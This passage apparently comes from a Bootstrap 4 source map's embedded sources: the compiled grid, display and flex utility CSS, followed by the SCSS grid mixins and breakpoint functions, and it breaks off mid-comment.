0;\n}\n\n.no-gutters > .col,\n.no-gutters > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n}\n\n.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,\n.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,\n.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,\n.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,\n.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,\n.col-xl-auto {\n position: relative;\n width: 100%;\n min-height: 1px;\n padding-right: 15px;\n padding-left: 15px;\n}\n\n.col {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n}\n\n.col-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n}\n\n.col-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n}\n\n.col-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n}\n\n.col-3 {\n flex: 0 0 25%;\n max-width: 25%;\n}\n\n.col-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n}\n\n.col-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n}\n\n.col-6 {\n flex: 0 0 50%;\n max-width: 50%;\n}\n\n.col-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n}\n\n.col-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n}\n\n.col-9 {\n flex: 0 0 75%;\n max-width: 75%;\n}\n\n.col-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n}\n\n.col-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n}\n\n.col-12 {\n flex: 0 0 100%;\n max-width: 100%;\n}\n\n.order-first {\n order: -1;\n}\n\n.order-last {\n order: 13;\n}\n\n.order-0 {\n order: 0;\n}\n\n.order-1 {\n order: 1;\n}\n\n.order-2 {\n order: 2;\n}\n\n.order-3 {\n order: 3;\n}\n\n.order-4 {\n order: 4;\n}\n\n.order-5 {\n order: 5;\n}\n\n.order-6 {\n order: 6;\n}\n\n.order-7 {\n order: 7;\n}\n\n.order-8 {\n order: 8;\n}\n\n.order-9 {\n order: 9;\n}\n\n.order-10 {\n order: 10;\n}\n\n.order-11 {\n order: 11;\n}\n\n.order-12 {\n order: 12;\n}\n\n.offset-1 {\n margin-left: 8.333333%;\n}\n\n.offset-2 {\n margin-left: 16.666667%;\n}\n\n.offset-3 {\n margin-left: 25%;\n}\n\n.offset-4 {\n margin-left: 33.333333%;\n}\n\n.offset-5 {\n margin-left: 41.666667%;\n}\n\n.offset-6 {\n margin-left: 50%;\n}\n\n.offset-7 {\n margin-left: 58.333333%;\n}\n\n.offset-8 {\n margin-left: 66.666667%;\n}\n\n.offset-9 {\n margin-left: 75%;\n}\n\n.offset-10 {\n margin-left: 83.333333%;\n}\n\n.offset-11 {\n margin-left: 91.666667%;\n}\n\n@media (min-width: 576px) {\n .col-sm {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-sm-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-sm-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-sm-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-sm-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-sm-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-sm-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-sm-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-sm-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-sm-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-sm-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-sm-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-sm-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-sm-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-sm-first {\n order: -1;\n }\n .order-sm-last {\n order: 13;\n }\n .order-sm-0 {\n order: 0;\n }\n .order-sm-1 {\n order: 1;\n }\n .order-sm-2 {\n order: 2;\n }\n .order-sm-3 {\n order: 3;\n }\n .order-sm-4 {\n order: 4;\n }\n .order-sm-5 {\n order: 5;\n }\n .order-sm-6 {\n order: 6;\n }\n .order-sm-7 {\n order: 7;\n }\n .order-sm-8 {\n order: 8;\n }\n .order-sm-9 {\n order: 9;\n }\n .order-sm-10 {\n order: 10;\n }\n .order-sm-11 {\n order: 11;\n }\n .order-sm-12 {\n order: 12;\n }\n .offset-sm-0 {\n margin-left: 0;\n }\n .offset-sm-1 {\n margin-left: 8.333333%;\n }\n .offset-sm-2 {\n margin-left: 16.666667%;\n }\n .offset-sm-3 {\n margin-left: 25%;\n }\n .offset-sm-4 {\n margin-left: 33.333333%;\n }\n .offset-sm-5 {\n margin-left: 41.666667%;\n }\n .offset-sm-6 {\n margin-left: 50%;\n }\n .offset-sm-7 {\n margin-left: 58.333333%;\n }\n .offset-sm-8 {\n margin-left: 66.666667%;\n }\n .offset-sm-9 {\n margin-left: 75%;\n }\n .offset-sm-10 {\n margin-left: 83.333333%;\n }\n .offset-sm-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 768px) {\n .col-md {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-md-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-md-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-md-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-md-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-md-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-md-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-md-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-md-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-md-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-md-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-md-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-md-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-md-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-md-first {\n order: -1;\n }\n .order-md-last {\n order: 13;\n }\n .order-md-0 {\n order: 0;\n }\n .order-md-1 {\n order: 1;\n }\n .order-md-2 {\n order: 2;\n }\n .order-md-3 {\n order: 3;\n }\n .order-md-4 {\n order: 4;\n }\n .order-md-5 {\n order: 5;\n }\n .order-md-6 {\n order: 6;\n }\n .order-md-7 {\n order: 7;\n }\n .order-md-8 {\n order: 8;\n }\n .order-md-9 {\n order: 9;\n }\n .order-md-10 {\n order: 10;\n }\n .order-md-11 {\n order: 11;\n }\n .order-md-12 {\n order: 12;\n }\n .offset-md-0 {\n margin-left: 0;\n }\n .offset-md-1 {\n margin-left: 8.333333%;\n }\n .offset-md-2 {\n margin-left: 16.666667%;\n }\n .offset-md-3 {\n margin-left: 25%;\n }\n .offset-md-4 {\n margin-left: 33.333333%;\n }\n .offset-md-5 {\n margin-left: 41.666667%;\n }\n .offset-md-6 {\n margin-left: 50%;\n }\n .offset-md-7 {\n margin-left: 58.333333%;\n }\n .offset-md-8 {\n margin-left: 66.666667%;\n }\n .offset-md-9 {\n margin-left: 75%;\n }\n .offset-md-10 {\n margin-left: 83.333333%;\n }\n .offset-md-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 992px) {\n .col-lg {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-lg-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-lg-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-lg-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-lg-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-lg-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-lg-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-lg-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-lg-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-lg-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-lg-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-lg-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-lg-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-lg-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-lg-first {\n order: -1;\n }\n .order-lg-last {\n order: 13;\n }\n .order-lg-0 {\n order: 0;\n }\n .order-lg-1 {\n order: 1;\n }\n .order-lg-2 {\n order: 2;\n }\n .order-lg-3 {\n order: 3;\n }\n .order-lg-4 {\n order: 4;\n }\n .order-lg-5 {\n order: 5;\n }\n .order-lg-6 {\n order: 6;\n }\n .order-lg-7 {\n order: 7;\n }\n .order-lg-8 {\n order: 8;\n }\n .order-lg-9 {\n order: 9;\n }\n .order-lg-10 {\n order: 10;\n }\n .order-lg-11 {\n order: 11;\n }\n .order-lg-12 {\n order: 12;\n }\n .offset-lg-0 {\n margin-left: 0;\n }\n .offset-lg-1 {\n margin-left: 8.333333%;\n }\n .offset-lg-2 {\n margin-left: 16.666667%;\n }\n .offset-lg-3 {\n margin-left: 25%;\n }\n .offset-lg-4 {\n margin-left: 33.333333%;\n }\n .offset-lg-5 {\n margin-left: 41.666667%;\n }\n .offset-lg-6 {\n margin-left: 50%;\n }\n .offset-lg-7 {\n margin-left: 58.333333%;\n }\n .offset-lg-8 {\n margin-left: 66.666667%;\n }\n .offset-lg-9 {\n margin-left: 75%;\n }\n .offset-lg-10 {\n margin-left: 83.333333%;\n }\n .offset-lg-11 {\n margin-left: 91.666667%;\n }\n}\n\n@media (min-width: 1200px) {\n .col-xl {\n flex-basis: 0;\n flex-grow: 1;\n max-width: 100%;\n }\n .col-xl-auto {\n flex: 0 0 auto;\n width: auto;\n max-width: none;\n }\n .col-xl-1 {\n flex: 0 0 8.333333%;\n max-width: 8.333333%;\n }\n .col-xl-2 {\n flex: 0 0 16.666667%;\n max-width: 16.666667%;\n }\n .col-xl-3 {\n flex: 0 0 25%;\n max-width: 25%;\n }\n .col-xl-4 {\n flex: 0 0 33.333333%;\n max-width: 33.333333%;\n }\n .col-xl-5 {\n flex: 0 0 41.666667%;\n max-width: 41.666667%;\n }\n .col-xl-6 {\n flex: 0 0 50%;\n max-width: 50%;\n }\n .col-xl-7 {\n flex: 0 0 58.333333%;\n max-width: 58.333333%;\n }\n .col-xl-8 {\n flex: 0 0 66.666667%;\n max-width: 66.666667%;\n }\n .col-xl-9 {\n flex: 0 0 75%;\n max-width: 75%;\n }\n .col-xl-10 {\n flex: 0 0 83.333333%;\n max-width: 83.333333%;\n }\n .col-xl-11 {\n flex: 0 0 91.666667%;\n max-width: 91.666667%;\n }\n .col-xl-12 {\n flex: 0 0 100%;\n max-width: 100%;\n }\n .order-xl-first {\n order: -1;\n }\n .order-xl-last {\n order: 13;\n }\n .order-xl-0 {\n order: 0;\n }\n .order-xl-1 {\n order: 1;\n }\n .order-xl-2 {\n order: 2;\n }\n .order-xl-3 {\n order: 3;\n }\n .order-xl-4 {\n order: 4;\n }\n .order-xl-5 {\n order: 5;\n }\n .order-xl-6 {\n order: 6;\n }\n .order-xl-7 {\n order: 7;\n }\n .order-xl-8 {\n order: 8;\n }\n .order-xl-9 {\n order: 9;\n }\n .order-xl-10 {\n order: 10;\n }\n .order-xl-11 {\n order: 11;\n }\n .order-xl-12 {\n order: 12;\n }\n .offset-xl-0 {\n margin-left: 0;\n }\n .offset-xl-1 {\n margin-left: 8.333333%;\n }\n .offset-xl-2 {\n margin-left: 16.666667%;\n }\n .offset-xl-3 {\n margin-left: 25%;\n }\n .offset-xl-4 {\n margin-left: 33.333333%;\n }\n .offset-xl-5 {\n margin-left: 41.666667%;\n }\n .offset-xl-6 {\n margin-left: 50%;\n }\n .offset-xl-7 {\n margin-left: 58.333333%;\n }\n .offset-xl-8 {\n margin-left: 66.666667%;\n }\n .offset-xl-9 {\n margin-left: 75%;\n }\n .offset-xl-10 {\n margin-left: 83.333333%;\n }\n .offset-xl-11 {\n margin-left: 91.666667%;\n }\n}\n\n.d-none {\n display: none !important;\n}\n\n.d-inline {\n display: inline !important;\n}\n\n.d-inline-block {\n display: inline-block !important;\n}\n\n.d-block {\n display: block !important;\n}\n\n.d-table {\n display: table !important;\n}\n\n.d-table-row {\n display: table-row !important;\n}\n\n.d-table-cell {\n display: table-cell !important;\n}\n\n.d-flex {\n display: flex !important;\n}\n\n.d-inline-flex {\n display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n .d-sm-none {\n display: none !important;\n }\n .d-sm-inline {\n display: inline !important;\n }\n .d-sm-inline-block {\n display: inline-block !important;\n }\n .d-sm-block {\n display: block !important;\n }\n .d-sm-table {\n display: table !important;\n }\n .d-sm-table-row {\n display: table-row !important;\n }\n .d-sm-table-cell {\n display: table-cell !important;\n }\n .d-sm-flex {\n display: flex !important;\n }\n .d-sm-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 768px) {\n .d-md-none {\n display: none !important;\n }\n .d-md-inline {\n display: inline !important;\n }\n .d-md-inline-block {\n display: inline-block !important;\n }\n .d-md-block {\n display: block !important;\n }\n .d-md-table {\n display: table !important;\n }\n .d-md-table-row {\n display: table-row !important;\n }\n .d-md-table-cell {\n display: table-cell !important;\n }\n .d-md-flex {\n display: flex !important;\n }\n .d-md-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 992px) {\n .d-lg-none {\n display: none !important;\n }\n .d-lg-inline {\n display: inline !important;\n }\n .d-lg-inline-block {\n display: inline-block !important;\n }\n .d-lg-block {\n display: block !important;\n }\n .d-lg-table {\n display: table !important;\n }\n .d-lg-table-row {\n display: table-row !important;\n }\n .d-lg-table-cell {\n display: table-cell !important;\n }\n .d-lg-flex {\n display: flex !important;\n }\n .d-lg-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 1200px) {\n .d-xl-none {\n display: none !important;\n }\n .d-xl-inline {\n display: inline !important;\n }\n .d-xl-inline-block {\n display: inline-block !important;\n }\n .d-xl-block {\n display: block !important;\n }\n .d-xl-table {\n display: table !important;\n }\n .d-xl-table-row {\n display: table-row !important;\n }\n .d-xl-table-cell {\n display: table-cell !important;\n }\n .d-xl-flex {\n display: flex !important;\n }\n .d-xl-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media print {\n .d-print-none {\n display: none !important;\n }\n .d-print-inline {\n display: inline !important;\n }\n .d-print-inline-block {\n display: inline-block !important;\n }\n .d-print-block {\n display: block !important;\n }\n .d-print-table {\n display: table !important;\n }\n .d-print-table-row {\n display: table-row !important;\n }\n .d-print-table-cell {\n display: table-cell !important;\n }\n .d-print-flex {\n display: flex !important;\n }\n .d-print-inline-flex {\n display: inline-flex !important;\n }\n}\n\n.flex-row {\n flex-direction: row !important;\n}\n\n.flex-column {\n flex-direction: column !important;\n}\n\n.flex-row-reverse {\n flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n justify-content: flex-start !important;\n}\n\n.justify-content-end {\n justify-content: flex-end !important;\n}\n\n.justify-content-center {\n justify-content: center !important;\n}\n\n.justify-content-between {\n justify-content: space-between !important;\n}\n\n.justify-content-around {\n justify-content: space-around !important;\n}\n\n.align-items-start {\n align-items: flex-start !important;\n}\n\n.align-items-end {\n align-items: flex-end !important;\n}\n\n.align-items-center {\n align-items: center !important;\n}\n\n.align-items-baseline {\n align-items: baseline !important;\n}\n\n.align-items-stretch {\n align-items: stretch !important;\n}\n\n.align-content-start {\n align-content: flex-start !important;\n}\n\n.align-content-end {\n align-content: flex-end !important;\n}\n\n.align-content-center {\n align-content: center !important;\n}\n\n.align-content-between {\n align-content: space-between !important;\n}\n\n.align-content-around {\n align-content: space-around !important;\n}\n\n.align-content-stretch {\n align-content: stretch !important;\n}\n\n.align-self-auto {\n align-self: auto !important;\n}\n\n.align-self-start {\n align-self: flex-start !important;\n}\n\n.align-self-end {\n align-self: flex-end !important;\n}\n\n.align-self-center {\n align-self: center !important;\n}\n\n.align-self-baseline {\n align-self: baseline !important;\n}\n\n.align-self-stretch {\n align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n .flex-sm-row {\n flex-direction: row !important;\n }\n .flex-sm-column {\n flex-direction: column !important;\n }\n .flex-sm-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-sm-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-sm-wrap {\n flex-wrap: wrap !important;\n }\n .flex-sm-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-sm-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-sm-fill {\n flex: 1 1 auto !important;\n }\n .flex-sm-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-sm-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-sm-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-sm-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-sm-start {\n justify-content: flex-start !important;\n }\n .justify-content-sm-end {\n justify-content: flex-end !important;\n }\n .justify-content-sm-center {\n justify-content: center !important;\n }\n .justify-content-sm-between {\n justify-content: space-between !important;\n }\n .justify-content-sm-around {\n justify-content: space-around !important;\n }\n .align-items-sm-start {\n align-items: flex-start !important;\n }\n .align-items-sm-end {\n align-items: flex-end !important;\n }\n .align-items-sm-center {\n align-items: center !important;\n }\n .align-items-sm-baseline {\n align-items: baseline !important;\n }\n .align-items-sm-stretch {\n align-items: stretch !important;\n }\n .align-content-sm-start {\n align-content: flex-start !important;\n }\n .align-content-sm-end {\n align-content: flex-end !important;\n }\n .align-content-sm-center {\n align-content: center !important;\n }\n .align-content-sm-between {\n align-content: space-between !important;\n }\n .align-content-sm-around {\n align-content: space-around !important;\n }\n .align-content-sm-stretch {\n align-content: stretch !important;\n }\n .align-self-sm-auto {\n align-self: auto !important;\n }\n .align-self-sm-start {\n align-self: flex-start !important;\n }\n .align-self-sm-end {\n align-self: flex-end !important;\n }\n .align-self-sm-center {\n align-self: center !important;\n }\n .align-self-sm-baseline {\n align-self: baseline !important;\n }\n .align-self-sm-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 768px) {\n .flex-md-row {\n flex-direction: row !important;\n }\n .flex-md-column {\n flex-direction: column !important;\n }\n .flex-md-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-md-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-md-wrap {\n flex-wrap: wrap !important;\n }\n .flex-md-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-md-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-md-fill {\n flex: 1 1 auto !important;\n }\n .flex-md-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-md-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-md-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-md-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-md-start {\n justify-content: flex-start !important;\n }\n .justify-content-md-end {\n justify-content: flex-end !important;\n }\n .justify-content-md-center {\n justify-content: center !important;\n }\n .justify-content-md-between {\n justify-content: space-between !important;\n }\n .justify-content-md-around {\n justify-content: space-around !important;\n }\n .align-items-md-start {\n align-items: flex-start !important;\n }\n .align-items-md-end {\n align-items: flex-end !important;\n }\n .align-items-md-center {\n align-items: center !important;\n }\n .align-items-md-baseline {\n align-items: baseline !important;\n }\n .align-items-md-stretch {\n align-items: stretch !important;\n }\n .align-content-md-start {\n align-content: flex-start !important;\n }\n .align-content-md-end {\n align-content: flex-end !important;\n }\n .align-content-md-center {\n align-content: center !important;\n }\n .align-content-md-between {\n align-content: space-between !important;\n }\n .align-content-md-around {\n align-content: space-around !important;\n }\n .align-content-md-stretch {\n align-content: stretch !important;\n }\n .align-self-md-auto {\n align-self: auto !important;\n }\n .align-self-md-start {\n align-self: flex-start !important;\n }\n .align-self-md-end {\n align-self: flex-end !important;\n }\n .align-self-md-center {\n align-self: center !important;\n }\n .align-self-md-baseline {\n align-self: baseline !important;\n }\n .align-self-md-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 992px) {\n .flex-lg-row {\n flex-direction: row !important;\n }\n .flex-lg-column {\n flex-direction: column !important;\n }\n .flex-lg-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-lg-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-lg-wrap {\n flex-wrap: wrap !important;\n }\n .flex-lg-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-lg-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-lg-fill {\n flex: 1 1 auto !important;\n }\n .flex-lg-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-lg-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-lg-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-lg-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-lg-start {\n justify-content: flex-start !important;\n }\n .justify-content-lg-end {\n justify-content: flex-end !important;\n }\n .justify-content-lg-center {\n justify-content: center !important;\n }\n .justify-content-lg-between {\n justify-content: space-between !important;\n }\n .justify-content-lg-around {\n justify-content: space-around !important;\n }\n .align-items-lg-start {\n align-items: flex-start !important;\n }\n .align-items-lg-end {\n align-items: flex-end !important;\n }\n .align-items-lg-center {\n align-items: center !important;\n }\n .align-items-lg-baseline {\n align-items: baseline !important;\n }\n .align-items-lg-stretch {\n align-items: stretch !important;\n }\n .align-content-lg-start {\n align-content: flex-start !important;\n }\n .align-content-lg-end {\n align-content: flex-end !important;\n }\n .align-content-lg-center {\n align-content: center !important;\n }\n .align-content-lg-between {\n align-content: space-between !important;\n }\n .align-content-lg-around {\n align-content: space-around !important;\n }\n .align-content-lg-stretch {\n align-content: stretch !important;\n }\n .align-self-lg-auto {\n align-self: auto !important;\n }\n .align-self-lg-start {\n align-self: flex-start !important;\n }\n .align-self-lg-end {\n align-self: flex-end !important;\n }\n .align-self-lg-center {\n align-self: center !important;\n }\n .align-self-lg-baseline {\n align-self: baseline !important;\n }\n .align-self-lg-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 1200px) {\n .flex-xl-row {\n flex-direction: row !important;\n }\n .flex-xl-column {\n flex-direction: column !important;\n }\n .flex-xl-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-xl-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-xl-wrap {\n flex-wrap: wrap !important;\n }\n .flex-xl-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-xl-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-xl-fill {\n flex: 1 1 auto !important;\n }\n .flex-xl-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-xl-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-xl-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-xl-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-xl-start {\n justify-content: flex-start !important;\n }\n .justify-content-xl-end {\n justify-content: flex-end !important;\n }\n .justify-content-xl-center {\n justify-content: center !important;\n }\n .justify-content-xl-between {\n justify-content: space-between !important;\n }\n .justify-content-xl-around {\n justify-content: space-around !important;\n }\n .align-items-xl-start {\n align-items: flex-start !important;\n }\n .align-items-xl-end {\n align-items: flex-end !important;\n }\n .align-items-xl-center {\n align-items: center !important;\n }\n .align-items-xl-baseline {\n align-items: baseline !important;\n }\n .align-items-xl-stretch {\n align-items: stretch !important;\n }\n .align-content-xl-start {\n align-content: flex-start !important;\n }\n .align-content-xl-end {\n align-content: flex-end !important;\n }\n .align-content-xl-center {\n align-content: center !important;\n }\n .align-content-xl-between {\n align-content: space-between !important;\n }\n .align-content-xl-around {\n align-content: space-around !important;\n }\n .align-content-xl-stretch {\n align-content: stretch !important;\n }\n .align-self-xl-auto {\n align-self: auto !important;\n }\n .align-self-xl-start {\n align-self: flex-start !important;\n }\n .align-self-xl-end {\n align-self: flex-end !important;\n }\n .align-self-xl-center {\n align-self: center !important;\n }\n .align-self-xl-baseline {\n align-self: baseline !important;\n }\n .align-self-xl-stretch {\n align-self: stretch !important;\n }\n}\n\n/*# sourceMappingURL=bootstrap-grid.css.map */","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n .container {\n @include make-container();\n @include make-container-max-widths();\n }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n .container-fluid {\n @include make-container();\n }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n .row {\n @include make-row();\n }\n\n // Remove the negative margin from default .row, then the horizontal padding\n // from all immediate children columns (to prevent runaway style inheritance).\n .no-gutters {\n margin-right: 0;\n margin-left: 0;\n\n > .col,\n > [class*=\"col-\"] {\n padding-right: 0;\n padding-left: 0;\n }\n }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n width: 100%;\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n margin-right: auto;\n margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n @each $breakpoint, $container-max-width in $max-widths {\n @include media-breakpoint-up($breakpoint, $breakpoints) {\n max-width: $container-max-width;\n }\n }\n}\n\n@mixin make-row() {\n display: flex;\n flex-wrap: wrap;\n margin-right: ($grid-gutter-width / -2);\n margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n position: relative;\n // Prevent columns from becoming too narrow when at smaller grid tiers by\n // always setting `width: 100%;`. This works because we use `flex` values\n // later on to override this initial width.\n width: 100%;\n min-height: 1px; // Prevent collapsing\n padding-right: ($grid-gutter-width / 2);\n padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n flex: 0 0 percentage($size / $columns);\n // Add a `max-width` to ensure content within each column does not blow out\n // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n // do not appear to require this.\n max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n $num: $size / $columns;\n margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n// (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n// >> breakpoint-next(sm)\n// md\n// >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// md\n// >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n// md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n $n: index($breakpoint-names, $name);\n @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n// >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n// 576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n $min: map-get($breakpoints, $name);\n @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n// >> 